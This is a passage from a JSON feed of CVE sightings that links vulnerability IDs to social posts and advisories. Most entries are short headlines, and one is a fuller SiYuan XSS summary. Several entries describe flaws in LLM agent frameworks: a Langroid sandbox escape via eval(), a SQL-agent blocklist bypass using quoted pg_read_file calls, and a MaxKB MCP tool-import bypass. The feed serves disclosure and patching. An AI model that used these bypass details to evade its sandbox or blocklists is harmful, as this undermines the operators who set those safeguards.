"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54771", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqb4j7ttvf2x", "content": "CVE-2026-54771 - Langroid: handle_message() executes user-supplied tool JSON without sender verification\nCVE ID : CVE-2026-54771\n \n Published : July 10, 2026, 12:16 a.m. | 1\u00a0hour, 30\u00a0minutes ago\n \n Description : Langroid is a framework for building large-language-model-powered...", "creation_timestamp": "2026-07-10T02:37:15.955871Z"}, {"uuid": "49971494-76a2-499d-9e47-5080eb108908", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54769", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqb4s6ba2f2e", "content": "CVE-2026-54769 - Langroid: Sandbox Escape to Remote Code Execution via Incomplete `eval()` Mitigation in TableChatAgent\nCVE ID : CVE-2026-54769\n \n Published : July 10, 2026, 12:16 a.m. | 1\u00a0hour, 30\u00a0minutes ago\n \n Description : Langroid is a framework for building large-languag...", "creation_timestamp": "2026-07-10T02:42:16.301490Z"}, {"uuid": "a6d8b7a6-b832-419e-b42a-9dcb1cb36633", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54760", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqb534o76s2x", "content": "CVE-2026-54760 - Langroid: SQLChatAgent dangerous-function blocklist can be bypassed with quoted or schema-qualified pg_read_file calls\nCVE ID : CVE-2026-54760\n \n Published : July 10, 2026, 12:16 a.m. | 1\u00a0hour, 30\u00a0minutes ago\n \n Description : Langroid is a framework for buildi...", "creation_timestamp": "2026-07-10T02:47:16.835479Z"}, {"uuid": "e2f66b66-751c-4259-9cb5-4eebca343bc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54432", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mqb6on3z3w2n", "content": "RoundCube 0-Click XSS Inferno: Why Your Webmail Is the Next Attack Vector +\u00a0Video\n\nIntroduction: RoundCube Webmail, a widely deployed open-source email client integrated into platforms like cPanel, has become a prime target for advanced threat actors. The discovery of CVE-2026-54432 and\u2026", "creation_timestamp": "2026-07-10T03:16:06.174107Z"}, {"uuid": "132cff57-1ea1-4be0-95d1-c237a1d4cb10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54423", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mqbeizh3yj2c", "content": "\ud83d\udfe0 CVE-2026-54423 - High (8.2)\n\nIn OpenStack Ironic before 37.0.1, an Ironic user with the ability to deploy nodes using the IPMI...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54423/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-10T05:00:29.017968Z"}, {"uuid": "7a615f84-2e30-4058-b2f5-34c9575d7351", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54400", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqbgkscunn2s", "content": "\ud83d\udccc CVE-2026-54400 - A malicious actor with access to the network and high privileges could exploit an Improper Access Control vulnerability found in UniFi Access Applicat... https://www.cyberhub.blog/cves/CVE-2026-54400", "creation_timestamp": "2026-07-10T05:37:07.943593Z"}, {"uuid": "3f930300-64bf-448c-8078-454444a5cb52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54400", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mqbgktng3323", "content": "\ud83d\udccc CVE-2026-54400 - A malicious actor with access to the network and high privileges could exploit an Improper Access Control vulnerability found in UniFi Access Applicat... https://www.potatohub.blog/cves/CVE-2026-54400", "creation_timestamp": "2026-07-10T05:37:08.522604Z"}, {"uuid": "10a94e0b-b99d-44e2-a22e-14933b114b26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54423", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqbgtcokt226", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54423 \u0432 OpenStack Ironic: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/F8BF9A61-5471-459C-A283-08AD904E57D4", "creation_timestamp": "2026-07-10T05:41:51.855965Z"}, {"uuid": "ec295da4-6692-42a3-9418-5a0512240bf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54423", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqbhy3xccr2k", "content": "CVE-2026-54423 - OpenStack Ironic IPMI Access Control Bypass\nCVE ID : CVE-2026-54423\n \n Published : July 10, 2026, 4:17 a.m. | 14\u00a0minutes ago\n \n Description : In OpenStack Ironic before 37.0.1, an Ironic user with the ability to deploy nodes using the IPMI management interface...", "creation_timestamp": "2026-07-10T06:02:26.530579Z"}, {"uuid": "d52516d3-c301-4b7a-961a-aa085a0ab917", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54356", "type": "published-proof-of-concept", "source": "Telegram/FN3zo1JYTO4u1-YgV96W0gS9NsAaW44hUrWdmlv8YAKw1wA", "content": "", "creation_timestamp": "2026-08-16T00:00:46.540701Z"}, {"uuid": "32906842-46a8-4049-9412-3ba69d897384", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54423", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqbxhqhblt2f", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54423 \u0432 OpenStack Ironic: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/32B80827-5FC3-49EF-8318-6B9B7CF3729B", "creation_timestamp": "2026-07-10T10:39:37.387515Z"}, {"uuid": "6f5f03e8-c6ad-47e7-ab78-14cb847368b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54011", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqbyyvqikn23", "content": "\ud83d\udccc CVE-2026-54011 - Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6,Open WebUI renders Mermaid blocks fr... https://www.cyberhub.blog/cves/CVE-2026-54011", "creation_timestamp": "2026-07-10T11:07:07.447538Z"}, {"uuid": "7679b827-ccf2-4137-af90-3a27327d4184", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54798", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mqccogp5db24", "content": "\ud83d\udd17 CVE : CVE-2026-54798, CVE-2026-54799, CVE-2026-54800, CVE-2026-54801", "creation_timestamp": "2026-07-10T14:00:13.413301Z"}, {"uuid": "3d40b287-9733-45bf-844a-89bda5dd25fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54799", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mqccogp5db24", "content": "\ud83d\udd17 CVE : CVE-2026-54798, CVE-2026-54799, CVE-2026-54800, CVE-2026-54801", "creation_timestamp": "2026-07-10T14:00:13.458234Z"}, {"uuid": "dc829640-2f2b-48e4-9c89-877a5df0212f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54800", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mqccogp5db24", "content": "\ud83d\udd17 CVE : CVE-2026-54798, CVE-2026-54799, CVE-2026-54800, CVE-2026-54801", "creation_timestamp": "2026-07-10T14:00:13.498600Z"}, {"uuid": "45f149af-17ad-4cbb-ac3a-a1a356f024fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54801", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mqccogp5db24", "content": "\ud83d\udd17 CVE : CVE-2026-54798, CVE-2026-54799, CVE-2026-54800, CVE-2026-54801", "creation_timestamp": "2026-07-10T14:00:13.540931Z"}, {"uuid": "45307755-ae67-422b-87da-bc22d282e9c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54469", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116896393517811948", "content": "A new vulnerability with increased severity was disclosed for Dell Unisphere for PowerMax (CVE-2026-54469) https://vuldb.com/vuln/377502", "creation_timestamp": "2026-07-10T15:30:16.443375Z"}, {"uuid": "fc1e7136-f185-42c3-9764-c7784bd9bc75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54769", "type": "seen", "source": "https://bsky.app/profile/roguelogics.bsky.social/post/3mqcjsn4rhg2g", "content": "\ud83d\udea8 Attention security teams: CVE-2026-54769 is a critical Sandbox Escape vulnerability in Langroid, leading to Remote Code Execution. Patch to version 0.65.2 or later immediately to mitigate risk. #CyberSecurity #PatchNow", "creation_timestamp": "2026-07-10T16:07:51.172258Z"}, {"uuid": "1a9858db-da1f-4913-b894-8008dda8ae9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54149", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqcmnbbo2l2x", "content": "CVE-2026-54149 - MaxKB MCP tool import validation bypass allows post-authentication remote code execution\nCVE ID : CVE-2026-54149\n \n Published : July 10, 2026, 4:16 p.m. | 16\u00a0minutes ago\n \n Description : MaxKB is an open-source AI assistant for enterprise. Prior to 2.10.0-lts,...", "creation_timestamp": "2026-07-10T16:58:31.266145Z"}, {"uuid": "9654592c-0707-4989-9761-40cbdf77f82f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54149", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mqcmrccqct25", "content": "\ud83d\udfe0 CVE-2026-54149 - High (8.8)\n\nMaxKB is an open-source AI assistant for enterprise. Prior to 2.10.0-lts, MaxKB tool import funct...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54149/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-10T17:00:47.133240Z"}, {"uuid": "1b602ff0-5f5e-4248-b1b4-18c841b9af62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54469", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqcoasxcp327", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54469 \u0432 Dell Unisphere for PowerMax: \u0443\u0433\u0440\u043e\u0437\u0430 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/BE25AB28-1B65-4F90-91CD-38D39FF226C1", "creation_timestamp": "2026-07-10T17:27:21.082478Z"}, {"uuid": "4d2bc51f-80bf-446a-8256-7df65b29d759", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54070", "type": "seen", "source": "https://gist.github.com/alon710/b90f7da9d543dd51155aefe8a87d6f66", "content": "# CVE-2026-54070: CVE-2026-54070: Stored Cross-Site Scripting via Modern HTML5 Event Handler Bypass in SiYuan Bazaar\n\n> **CVSS Score:** 7.1\n> **Published:** 2026-07-10\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54070\n\n## Summary\nA high-severity Stored Cross-Site Scripting (XSS) vulnerability exists in SiYuan prior to version 3.7.0. The vulnerability is located within the server-side Markdown-to-HTML parsing component for the Bazaar marketplace packages. Due to an incomplete event-handler attribute blocklist in the lute parsing engine and a lack of client-side DOM sanitization, malicious package authors can bypass restrictions using modern HTML5 event handlers. When an authenticated administrator views a malicious package, the embedded JavaScript runs in the administrator origin, allowing unauthorized workspace access, local file reading, and remote API execution.\n\n## TL;DR\nStored XSS in SiYuan's Bazaar package rendering component allows unauthenticated attackers to execute arbitrary JavaScript in the context of the administrator origin, leading to complete workspace compromise.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-79 / CWE-184\n- **Attack Vector**: Network\n- **CVSS Score**: 7.1 (High)\n- **EPSS Score**: 0.0018 (Percentile: 7.75%)\n- **Impact**: Stored Cross-Site Scripting (XSS)\n- **Exploit Status**: poc\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- SiYuan Note-Taking Application\n- **SiYuan**: < 3.7.0 (Fixed in: `3.7.0`)\n\n## Mitigation\n\n- Upgrade SiYuan to version 3.7.0 or above\n- Block outbound application requests to unauthorized public package registries\n- Avoid browsing third-party marketplace listings until the application is updated\n\n**Remediation Steps:**\n1. Identify all deployed SiYuan application instances and verify current versions.\n2. Download the release package for version 3.7.0 or newer from the official distribution channel.\n3. Install the update, restart the local service, and confirm the version display in Settings -> About.\n4. Monitor outbound server logs for unexpected HTTP requests to unknown external domains.\n\n## References\n\n- [GitHub Security Advisory GHSA-w7cg-whh7-xp28](https://github.com/siyuan-note/siyuan/security/advisories/GHSA-w7cg-whh7-xp28)\n- [NVD CVE-2026-54070 Detail](https://nvd.nist.gov/vuln/detail/CVE-2026-54070)\n- [SiYuan Fix Commit 27e0051e0d067892e833df1063cb2fb469600e98](https://github.com/siyuan-note/siyuan/commit/27e0051e0d067892e833df1063cb2fb469600e98)\n- [CVE-2026-54070 Record](https://www.cve.org/CVERecord?id=CVE-2026-54070)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54070) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-10T19:42:40.547539Z"}, {"uuid": "3084936b-f780-43fb-91b5-7a5d3502c64e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54067", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqcwdlr5ns2t", "content": "CVE-2026-54067 - siyuan-note\nAn attacker with access to your SiYuan workspace can inject malicious code that runs on all devices syncing the workspace. This happens even if you've disabled running\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#siyuannote #Golang #CVE #infosec", "creation_timestamp": "2026-07-10T19:52:04.997285Z"}, {"uuid": "7ff5736b-771c-483f-bc83-ca2c369de796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54069", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqcwdmy6ok2t", "content": "CVE-2026-54069 - siyuan-note\nSiYuan's kernel HTTP server didn't properly check browser extensions, allowing malicious extensions to gain full administrator access. This could lead to sensitive data being\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#siyuannote #Golang #CVE #infosec", "creation_timestamp": "2026-07-10T19:52:05.674556Z"}, {"uuid": "b1621ada-4016-42f4-b178-408a713d2e7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54158", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqcwh6d4672w", "content": "CVE-2026-54158 - siyuan-note\nAn attacker with write access to a synced workspace can inject malicious code into SiYuan, potentially allowing them to execute commands on a user's computer. This\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#siyuannote #Golang #CVE #infosec", "creation_timestamp": "2026-07-10T19:54:04.499276Z"}, {"uuid": "9c87476d-de9e-4175-922a-f9c81a9ec21d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54769", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqcwiory5s2a", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54769 \u0432 Langroid: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/299C35E6-A38C-4067-9260-D40035E916DC", "creation_timestamp": "2026-07-10T19:54:55.375383Z"}, {"uuid": "74d6ad14-9fc7-4ac3-ba4b-2880711cae72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54329", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqcwmrbo5x25", "content": "CVE-2026-54329 - Snipe-IT: Cross-Tenant Accessory Injection in Snipe-IT API\nCVE ID : CVE-2026-54329\n \n Published : July 10, 2026, 7:17 p.m. | 31\u00a0minutes ago\n \n Description : Snipe-IT is an IT asset/license management system. Prior to 8.6.2, the Accessories API create path mass...", "creation_timestamp": "2026-07-10T19:57:12.112215Z"}, {"uuid": "6bda5a99-37e6-4c5d-899f-bd28a4fea025", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54771", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqcwv4la5x2a", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54771 \u0432 Langroid: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/3ACD49C8-0807-463B-ACBE-A4851F7A33EB", "creation_timestamp": "2026-07-10T20:01:52.718906Z"}, {"uuid": "603690d3-cf0d-4a88-ae68-673b06ab6402", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54072", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqcxkxuefn2w", "content": "CVE-2026-54072 - authorizerdev\nAn attacker can obtain OAuth2 tokens by redirecting users to a malicious URL. This can happen if an attacker tricks a user into visiting a website that requests\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#authorizerdev #Golang #CVE #infosec", "creation_timestamp": "2026-07-10T20:14:05.487039Z"}, {"uuid": "6211496f-b390-48e3-b56d-fe8e541a4e48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54089", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqcxoiwmmg2z", "content": "CVE-2026-54089 - filebrowser\nWhen FileBrowser is configured to use proxy authentication, an attacker can impersonate any user, including administrators, by sending a fake HTTP header. This allows the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#filebrowser #Golang #CVE #infosec", "creation_timestamp": "2026-07-10T20:16:04.035535Z"}, {"uuid": "c43d7dde-36fa-47e7-918e-9c9d3a9a1a40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54088", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqcxokhktk2v", "content": "CVE-2026-54088 - filebrowser\nThe File Browser's login system has a weakness that allows an attacker to execute commands on the server without needing a login. This is a serious security issue because it\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#filebrowser #Golang #CVE #infosec", "creation_timestamp": "2026-07-10T20:16:06.007040Z"}, {"uuid": "1777cbc7-3061-40d2-9b94-1d5def84f813", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54158", "type": "published-proof-of-concept", "source": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5xfx-xj4h-5p7r", "content": "", "creation_timestamp": "2026-07-10T20:35:02.552061Z"}, {"uuid": "c816729e-4e08-434e-846d-c19a4e91848d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54071", "type": "published-proof-of-concept", "source": "https://github.com/funstory-ai/BabelDOC/security/advisories/GHSA-m8gf-v64p-gfmg", "content": "", "creation_timestamp": "2026-07-10T20:35:04.799126Z"}, {"uuid": "9774a81b-ef2a-4947-abcc-e5d8a023f7e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54088", "type": "published-proof-of-concept", "source": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-m93h-4hw7-5qcm", "content": "", "creation_timestamp": "2026-07-10T20:35:07.110793Z"}, {"uuid": "45674df4-4132-4724-8785-1363fcb119ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54069", "type": "published-proof-of-concept", "source": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-hvr9-72v2-fff3", "content": "", "creation_timestamp": "2026-07-10T20:35:09.561115Z"}, {"uuid": "54e3126a-b380-42e9-a431-a70aaa898407", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54070", "type": "published-proof-of-concept", "source": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-w7cg-whh7-xp28", "content": "", "creation_timestamp": "2026-07-10T20:35:11.993796Z"}, {"uuid": "62fbf702-8898-4db5-becf-cd6ca79649d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54089", "type": "published-proof-of-concept", "source": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-xqp3-jq6g-x3qm", "content": "", "creation_timestamp": "2026-07-10T20:35:14.770110Z"}, {"uuid": "95024f00-38c5-4b98-9811-892d30eaa819", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54068", "type": "published-proof-of-concept", "source": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-gcm7-57gf-953c", "content": "", "creation_timestamp": "2026-07-10T20:35:17.027007Z"}, {"uuid": "4438c2e2-9d63-49b1-b75f-4b902da3db97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54063", "type": "published-proof-of-concept", "source": "https://github.com/qax-os/excelize/security/advisories/GHSA-h69g-9hx6-f3v4", "content": "", "creation_timestamp": "2026-07-10T20:35:19.289594Z"}, {"uuid": "08ffa1a1-727c-46eb-86ac-22eb3f5dcf53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54067", "type": "published-proof-of-concept", "source": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-mvjr-vv3c-w4qv", "content": "", "creation_timestamp": "2026-07-10T20:35:21.535640Z"}, {"uuid": "199fe6b6-2d84-4852-b297-e4ae26291175", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54066", "type": "published-proof-of-concept", "source": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-p4m3-mgmm-c664", "content": "", "creation_timestamp": "2026-07-10T20:35:23.985206Z"}, {"uuid": "fa60d130-038d-40f6-b9e7-1daf65f39504", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54468", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqd3efdza72z", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54468 \u0432 Dell Unisphere for PowerMax: \u0443\u0433\u0440\u043e\u0437\u0430 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/E0A3CD42-6718-4DF4-80C5-F8A5CCB57A05", "creation_timestamp": "2026-07-10T21:21:59.929849Z"}, {"uuid": "3e5a266e-98c4-4b5a-bd33-b8bfa8f3edc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54469", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqd3iomdwa2z", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54469 \u0432 Dell Unisphere for PowerMax: \u0443\u0433\u0440\u043e\u0437\u0430 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/E67C1BD2-2A93-4D1B-B55A-D0FF86BF7E80", "creation_timestamp": "2026-07-10T21:24:23.613137Z"}, {"uuid": "870146e3-0b93-4aa3-8cc6-3cea6af87e14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54149", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqd64oaost2c", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54149 \u0432 MaxKB: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/91FF5E02-D4E6-4EBC-9014-0BCA01237FD5", "creation_timestamp": "2026-07-10T22:11:21.992858Z"}, {"uuid": "882a9439-54d6-459f-80cd-785d4f93b3c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54001", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqd6q42vrb2z", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54001 \u0432 osquery: 